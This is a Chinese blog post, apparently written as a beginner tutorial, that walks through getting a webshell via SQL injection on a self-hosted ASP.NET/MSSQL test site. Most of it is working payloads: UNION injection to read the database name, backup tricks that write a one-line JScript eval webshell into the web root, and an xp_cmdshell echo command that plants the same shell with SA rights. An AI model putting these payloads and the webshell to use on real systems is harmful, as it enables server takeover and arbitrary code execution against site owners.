2013年6月1日星期六

SQL注入 DB权限下获取webshell

SQL注入 DB权限下获取webshell
时间:2012-09-25 07:56    来源:未知   作者:admin   阅读次数78  
我要纠正 我要投稿
文章内容摘要:
在DB权限下可以备份拿到一个WEBSHELL到web目录,WEB路径我就 不找了,自己本机架设的平台。路径是:D:\My Documents\VisualStudio 2008\WebSites\WebSite1 备份的时候会用到数据库名,在搜索框输入 张%' and'1'='1'and '%'='%' union select db_name(),'2','3
在DB权限下可以备份拿到一个WEBSHELL到web目录,WEB路径我就不找了,自己本机架设的平台。路径是:D:\My Documents\VisualStudio 2008\WebSites\WebSite1
备份的时候会用到数据库名,在搜索框输入
“张%' and'1'='1'and '%'='%' union select db_name(),'2','3','4'--”
就爆出了当前数据库名,如图10
然后非别在搜索框非别输入以下5条语句执行。
No1————备份当前数据库
“张%' and '1'='1'and '%'='%';declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x6861636B6572 backup database @a to disk=@s--”
这条语句是备份当前数据库,“db_name()”为获取当前数据库名
0x6861636B6572为 数据库名 16进制,执行成功。我就不截图了。

No2———— 创建Feitest表
“张%'and '1'='1' and '%'='%';create table[dbo].[Feitest]([cmd] [image])-- “
这条语句是创建表,执行成功创建 Feitest表成功 如图11
No3———— 插入一句话木马
张%'and '1'='1'and '%'='%';Insert into Feitest(cmd) values(' <%@ PageLanguage="Jscript" validateRequest="false"%><%Response.Write(eval(Request.Item["w"],"unsafe"));%>')--

这句就是在Feites表里插入一句话,在插入aspx一句话的时候不要转换成16进制的,我转换成16进制的插入备份后,不能正常使用,不转换则可以,不知道什么原因.。知道原因的大牛们解答下,,执行成功如图12
No4———— 备份一个一句话到Web
“张%' and '1'='1'and '%'='%';declare @a sysname,@s varchar(4000) select@a=db_name(),@s=0x443A5C4D7920446F63756D656E74735C56697375616C2053747564696F20323030385C57656253697465735C57656253697465315C466569546573742E61737078backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--”  语句中的
“0x443A5C4D7920446F63756D656E74735C56697375616C2053747564696F20323030385C57656253697465735C57656253697465315C466569546573742E61737078”  是转换后的16进制web路径,没有转换前为
“D:\My Documents\Visual Studio 2008\WebSites\WebSite1\FeiTest.aspx”
执行这句后会生产一个Feitest.aspx的文件到Web目录下生成的也就是一句话,
备份成功如图13
No5-------删除刚才建立的表
“张%' and '1'='1'and '%'='%';drop table Feitest--”
这句是删除刚才创建的Feitest表,

现在我们用一句话客户端连接就传个我自己写的小马上去如图14
上传成功。
关于DB权限告一段落。


————关于SA权限获取Webshell
SA 权限相对Db权限下要容易的多,方法也很多,如果能执行命令并且3389也打开了直接加账户就搞定了但是那样的很难遇到,关于获取 webshell,Web路径已经知道了我们直接用echo命令弄个Webshell到web目录下,关于echo命令中一个“>”表示不在源文件 上追加“>>”表示追加内容,前提是XP_cmdshell存在,我们在搜索框输入
“exec master..xp_cmdshell 'echo ^<%@ PageLanguage="Jscript" validateRequest="false" %^>^<%Response.Write(eval(Request.Item["w"],"unsafe"));%^>>D:\MyDocuments\Visual Studio 2008\WebSites\WebSite1\hacker.aspx'--”
直接就可以echo进去一个一句话到web目录下,点击搜索返回正常写入一句话成功,
如图15
有不对的地方还请大家指出,到此结束希望对新手朋友有帮助。
最后我想对媛说“媛我喜欢你”

没有评论:

发表评论